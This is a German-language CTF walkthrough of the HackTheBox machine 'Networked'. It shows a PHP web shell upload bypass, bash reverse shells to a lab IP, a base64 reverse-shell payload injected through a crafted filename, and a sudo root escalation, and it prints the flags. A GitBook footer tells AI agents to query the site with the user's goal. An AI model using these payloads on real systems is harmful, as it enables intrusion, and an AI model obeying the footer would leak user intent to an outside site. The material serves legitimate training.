> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md).

# Networked HackTheBox Writeup

Networked HackTheBox Linux-Writeup mit Web-Enumeration, Upload-Bypass, Befehlseinfügung und sudo-Eskalation.

{% embed url="<https://app.hackthebox.com/machines/Networked>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Web-Enumeration und Quellcode-Review
* Umgehung der Validierung beim Datei-Upload
* Befehlsinjektion über Cron-Job
* Missbrauch einer sudo-Fehlkonfiguration
  {% endhint %}

## Aufklärung

### Arbeitsbereich einrichten

Erstelle einen Arbeitsbereich und überprüfe dann die Verbindung zum Ziel.

```bash
mkt

ping -c 1 10.129.5.171
```

Die Antwort bestätigt, dass das Ziel ein Linux-Host ist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FL5o4L1iMKOZ8BWOSIv4X%2Fimage.png?alt=media&amp;token=02a9a145-941c-40f9-baaf-e4d484deea8f" alt=""><figcaption></figcaption></figure>

### TCP-Scan

Identifiziere exponierte TCP-Dienste mit einem vollständigen Port-Scan.

```bash
sudo nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.5.171 -oG allPorts
```

Der Scan identifiziert die Ports `22` und `80`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4UJGX45T2YD0e8psVDgg%2Fimage.png?alt=media&amp;token=24fc0c30-35bc-44b5-8a11-ee4c0a1bc4fb" alt=""><figcaption></figcaption></figure>

### Service- und Versions-Scan

Identifiziere die auf den exponierten Ports laufenden Dienste und Versionen.

```bash
nmap -sCV -p22,80 10.129.5.171 -oN targeted
```

Der Host läuft mit Apache `2.4.6` auf CentOS mit PHP `5.4.16`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FXCDgdDhhtiLxAF4KgwPA%2Fimage.png?alt=media&amp;token=7692d41f-dadb-43c1-9b07-a7680aafc81a" alt=""><figcaption></figcaption></figure>

### Port 80

Die Website zeigt die folgende Nachricht an:

> Hallo Kumpel, wir bauen das neue FaceMash!\
> Hilf uns, es zu finanzieren, und sei der neue Tyler\&Cameron!\
> Komm diesen Samstag zur Pool-Party, um einen Vorgeschmack zu bekommen

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F0yLtkIk6txesBmqQ6yhZ%2Fimage.png?alt=media&amp;token=c963710e-f332-4f9f-8e14-66c6882a750f" alt=""><figcaption></figcaption></figure>

Erkunde Verzeichnisse mit Gobuster.

```bash
gobuster dir -u http://10.129.5.171 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100
```

Der Scan zeigt `/backup` und `/uploads`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FznYeDtjNIVbUGeOYABpl%2Fimage.png?alt=media&amp;token=f112e3c1-bbbc-4dbf-8e94-d1955ae3c281" alt=""><figcaption></figcaption></figure>

Das `/backup` Verzeichnis legt ein TAR-Archiv offen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlSo25bKVZsZYVWUxiku6%2Fimage.png?alt=media&amp;token=f5d4e014-d7ec-48f9-b00e-2c57ee8991d2" alt=""><figcaption></figcaption></figure>

Extrahiere das Archiv lokal.

```bash
tar xopf foo.tar
```

Das Archiv enthält vier PHP-Dateien:

* `index.php`
* lib.php
* photos.php
* upload.php

Das `upload.php` Die Seite stellt ein Upload-Formular bereit.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F1vIL422PNpThM37wn0pb%2Fimage.png?alt=media&amp;token=e50d3cba-04e4-48a7-a4a9-a62af488f8d3" alt=""><figcaption></figcaption></figure>

Ein direkter PHP-Upload schlägt fehl, weil die Anwendung das Bildformat validiert.

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

Die Anwendung lehnt die Datei als ungültiges Bild ab.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FtzpKS5T5eRHWwvVmp6FN%2Fimage.png?alt=media&amp;token=202e3e70-c00d-439e-8afe-02eda2db2dfa" alt=""><figcaption></figcaption></figure>

Lade eine Datei mit einem GIF-Header und einer `.php.gif` Erweiterung hoch.

```bash
Content-Disposition: form-data; name="myFile"; filename="cmd.php.gif"
Content-Type: application/x-php

GIF89a
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

Die Anwendung akzeptiert den Upload.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FwNPxwupdXaD2NRexG2wu%2Fimage.png?alt=media&amp;token=14c78f57-ca92-495e-8d22-61f4f71c739f" alt=""><figcaption></figcaption></figure>

Die hochgeladene Datei führt PHP-Code trotz ihrer GIF-Erweiterung aus.

```bash
http://10.129.5.171/uploads/10_10_15_2.php.gif?cmd=id
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCnR6CtmQhfFfl3lU2xBy%2Fimage.png?alt=media&amp;token=05c172cc-17bd-44b5-90c3-0681c7bf0aaf" alt=""><figcaption></figcaption></figure>

Starte einen Listener auf Port `443`.

```bash
sudo nc -nvlp 443
```

Nutze die Befehlsausführung, um eine Reverse Shell zurückzugeben.

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcVoVCtWyymdKrx7YmYwC%2Fimage.png?alt=media&amp;token=fe488c1d-2785-4ade-8057-503d541e8780" alt=""><figcaption></figcaption></figure>

### Pivot zu `guly`

Eine geplante Aufgabe führt `/home/guly/check_attack.php` alle drei Minuten aus.

```bash
*/3 * * * * php /home/guly/check_attack.php
```

Das Skript überprüft Dateien in `/var/www/html/uploads/`.

```php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
    $msg='';
  if ($value == 'index.html') {
    continue;
  }
  #echo "-------------\n";

  #print "prüfe: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "Angriff!\n";
    # TODO: Datei anhängen
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>
```

Das Skript übergibt jeden Dateinamen an einen Shell-Befehl, ohne ihn sicher zu behandeln. Injektiere einen Befehl über einen präparierten Dateinamen.

Kodiere eine Reverse-Shell-Payload.

```bash
echo "bash -i >& /dev/tcp/10.10.15.2/4444 0>&1" | base64
```

Die kodierte Nutzlast lautet:

```
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo=
```

Erstelle den bösartigen Dateinamen.

```bash
touch ";echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo=' | base64 -d | bash;"
```

Starte einen Listener auf Port `4444`, dann warte auf die geplante Aufgabe.

```bash
nc -nvlp 4444
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FzKfNlqAmd3pwJibgJ8jt%2Fimage.png?alt=media&amp;token=15b85540-e21e-459d-b86c-e9294eea25e0" alt=""><figcaption></figcaption></figure>

Die geplante Aufgabe liefert eine Shell als `guly`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F04IqMUuq3ooyBn44P3d3%2Fimage.png?alt=media&amp;token=91098574-0cac-4abb-9b64-120fa3ab1757" alt=""><figcaption></figcaption></figure>

### Flag user.txt

```
fbeee367bab941cefca951caef664f27
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNfBLf09GAsb3eGX2noSS%2Fimage.png?alt=media&amp;token=f6aedac1-f708-45e3-b895-abfe0f9abd06" alt=""><figcaption></figcaption></figure>

### Privilegieneskalation

Überprüfe die Befehle, die `guly` mit ... ausgeführt werden können `sudo`.

```bash
sudo -l 
```

Der Benutzer kann ausführen `/usr/local/sbin/changename.sh` als `root`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmoMusce0sdPDjJOme9DZ%2Fimage.png?alt=media&amp;token=8403e5cf-c898-4f0f-8112-58c9c0c7f8dd" alt=""><figcaption></figcaption></figure>

Das Skript schreibt vom Benutzer kontrollierte Werte in eine Netzwerkkonfigurationsdatei.

```bash
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
	echo "Schnittstelle $var:"
	read x
	while [[ ! $x =~ $regexp ]]; do
		echo "falsche Eingabe, versuche es erneut"
		echo "Schnittstelle $var:"
		read x
	done
	echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
  
/sbin/ifup guly0
```

Der Eingabefilter erlaubt Leerzeichen und Schrägstriche. Wenn `ifup` die erzeugte Konfiguration verarbeitet, `test /bin/sh` löst eine Shell aus.

Führe das Skript aus.

```bash
sudo /usr/local/sbin/changename.sh
```

Gib an einer beliebigen Eingabeaufforderung Folgendes ein:

```
test /bin/sh
```

Dadurch öffnet sich eine Shell als `root`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FOOsz81PTDHASwxFgqP6K%2Fimage.png?alt=media&amp;token=a870548c-b0df-45a9-a53c-12a0eb17a33f" alt=""><figcaption></figcaption></figure>

### Flag root.txt

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fj8hpcKmC3IcIXmwzinG9%2Fimage.png?alt=media&amp;token=4e26a449-7529-41ab-90f4-83542270f047" alt=""><figcaption></figcaption></figure>

```
6fa61de6fa918d2db507070fec1364e8
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
